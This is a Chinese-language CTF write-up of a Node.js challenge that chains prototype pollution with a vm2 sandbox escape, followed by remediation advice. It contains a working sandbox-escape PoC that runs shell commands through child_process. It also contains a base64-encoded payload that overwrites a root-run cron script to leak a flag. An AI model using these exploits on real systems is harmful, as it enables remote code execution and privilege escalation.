软件系统安全赛2026分区赛 Web NodeJs
字数 2757
更新时间 2026-04-22 13:40:47

Node.js CTF 挑战:原型链污染与 vm2 沙箱逃逸综合漏洞分析教学

挑战概述

本次挑战来源于“软件系统安全赛2026分区赛”的一个 Web Node.js 题目。目标是通过分析提供的 Express.js 应用程序源码,发现并利用安全漏洞,最终获取系统 flag。挑战涉及原型链污染vm2 沙箱逃逸两个核心漏洞的串联利用。

应用程序代码分析

关键路由与权限控制

应用程序的核心代码片段展示了三个关键端点:

  1. 管理员面板 (/admin)

    • 访问该路由需要用户已登录(存在 req.session.user)。
    • 进一步检查登录用户的 user.isAdmin 属性是否为 true。只有管理员才能看到欢迎信息。
  2. 沙箱代码执行 (/sandbox)

    • 访问控制:同样需要登录,并且严格限制只有管理员用户 (user.isAdmin === true) 才能访问。
    • 功能:接收 POST 请求中的 code 参数,并在一个隔离的沙箱(VM 实例)中执行。
    • 沙箱配置:使用了 VM 模块(从上下文推断为 vm2 库),设置了 5 秒超时,并将一个空对象 sandboxResult 作为沙箱上下文。
  3. 应用监听:应用运行在 3000 端口。

初步漏洞判断

代码注释明确指出:/changepassword 路由存在原型链污染漏洞。正常注册的用户不具备 isAdmin 属性或该属性为 false。目标是利用此漏洞,为当前用户对象注入 isAdmin: true 属性,从而绕过 /sandbox 路由的权限检查。

漏洞利用链详细教学

第一阶段:利用原型链污染获取管理员权限

原理
原型链污染通常发生在合并用户可控对象与现有对象,或未安全地设置对象属性时。攻击者可以通过传入包含 __proto__ 等特殊属性的载荷,污染目标对象的原型,从而影响所有共享该原型的对象。

利用步骤

  1. 注册一个普通用户(如用户名 BR,密码 123456)。
  2. 登录以建立会话。
  3. /changepassword 发送 POST 请求。利用其原型链污染漏洞,在请求体中不仅包含修改密码的必要字段,还添加 "isAdmin": True
  4. 由于污染成功,当前用户对象继承了被污染的原型上的 isAdmin 属性,其值变为 true,从而通过了后续的权限检查。

关键Payload示例(Python requests库)

payload = {
    "oldPassword": "123456",
    "newPassword": "123456",
    "confirmPassword": "123456",
    "isAdmin": True  # 触发原型链污染的关键
}
res = r_session.post(url+"/changepassword", json=payload)

第二阶段:绕过 vm2 沙箱执行任意命令

背景
获取管理员权限后,可以向 /sandbox 提交任意 Node.js 代码,但代码会在 vm2 沙箱中运行。vm2 旨在安全地隔离和执行不受信任的代码,但存在历史漏洞可用于逃逸。

漏洞利用
文档指出存在 CVE-2026-22709(注:此为链接中提到的假设性CVE编号,实际历史漏洞为 CVE-2023-32314 等)。利用链涉及异步函数、Error 对象、Symbol 类型和 constructor 属性,最终构造一个能访问 Node.js 主模块 process.mainModule 的函数,从而脱离沙箱限制,执行系统命令。

原始 PoC 分析

const error = new Error();
error.name = Symbol(); // 将error的name属性设置为Symbol,触发异常
const f = async () => error.stack; // 异步函数访问error.stack
const promise = f();
promise.catch(e => {
  const Error = e.constructor;
  const Function = Error.constructor; // 通过构造函数链获取顶层的Function构造函数
  const f = new Function( // 使用真正的Function构造函数创建函数,该函数不在沙箱内
    "process.mainModule.require('child_process').execSync('whoami', { stdio: 'inherit' })"
  );
  f(); // 执行命令
});

回显处理
直接执行命令可能无回显。观察发现应用存在静态文件目录 /static,对应路径可能为 /app/public。因此,可以将命令执行的结果写入该目录下的文件,然后通过HTTP直接访问该文件来读取输出。

利用思路

  1. 执行 ls -l / 查看根目录,发现 /flag 文件但权限不足。
  2. 发现 /backup.sh 脚本,其所有权为 root,且内容是一个备份脚本,推测由 root 用户的 cron 任务定期执行。
  3. 思路转变为劫持此定时任务:覆盖 /backup.sh 脚本的内容,使其执行 cat /flag > /app/public/flag,从而将 flag 写入可读的 web 目录。
  4. 通过 Base64 编码避免命令中的特殊字符问题,构造最终的命令执行载荷。

最终 RCE Payload 构造

cmd = "echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh"
# 解码后实际执行: echo "cat /flag > /app/public/flag" > /backup.sh
payload_code = f"""
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {{
  const Error = e.constructor;
  const Function = Error.constructor;
  const f = new Function(
    "process.mainModule.require('child_process').execSync('{cmd}', {{ stdio: 'inherit' }})"
  );
  f();
}});
"""

完整利用流程总结

  1. 侦察:分析源码,识别 /changepassword 的原型链污染和 /sandbox 的沙箱执行功能。
  2. 权限提升:利用原型链污染,将当前用户的 isAdmin 属性设为 true,获取管理员权限。
  3. 沙箱逃逸:使用针对 vm2 特定漏洞的 PoC,构造可逃逸沙箱的 JavaScript 代码。
  4. 命令执行与回显:在逃逸后的上下文中,执行系统命令。通过覆盖 root 定时任务脚本 /backup.sh,将 flag 写入 web 可访问目录。
  5. 获取 Flag:等待定时任务执行(或手动触发),然后通过 HTTP 访问 /app/public/flag/static/flag 获取 flag。

漏洞修复建议

  1. 修复原型链污染

    • 在设置对象属性时,避免使用不安全的合并操作(如 Object.assign(target, userInput)userInput 可控时)。
    • 使用 Object.create(null) 创建无原型的对象作为映射。
    • 对用户输入进行严格的属性名白名单过滤,禁止 __proto__constructorprototype 等危险属性。
  2. 修复沙箱逃逸

    • vm2 升级到已修复相关漏洞的最新版本。
    • 永远不要将沙箱用于运行完全不受信任的代码。考虑更严格的隔离方案,如 Docker 容器。
    • 如果必须使用,确保沙箱配置尽可能严格,移除不必要的内置模块和全局对象访问。
  3. 最小权限原则

    • /backup.sh 脚本不应被 Web 应用用户写入。应正确设置文件权限(例如,root 所有,仅 root 可写)。
    • 运行 Node.js 应用的进程应使用低权限用户,避免使用 root。
  4. 输入验证与过滤

    • /sandbox 端点应对输入代码进行严格的语法和关键字检查(但此方法容易被绕过,不作为主要防御)。

扩展思考

本挑战是 CTF 中典型的“权限提升 + 沙箱逃逸”组合拳。在真实世界场景中,开发者需要:

  • 安全意识:了解所用库(如 vm2)的安全历史和最佳实践。
  • 纵深防御:不要依赖单一安全机制。即使沙箱被突破,系统的其他部分(如文件权限、容器隔离)也应能提供额外保护。
  • 代码审计:定期审计自定义的代码逻辑,特别是处理用户输入、对象操作和权限判断的部分。
相似文章
相似文章
 全屏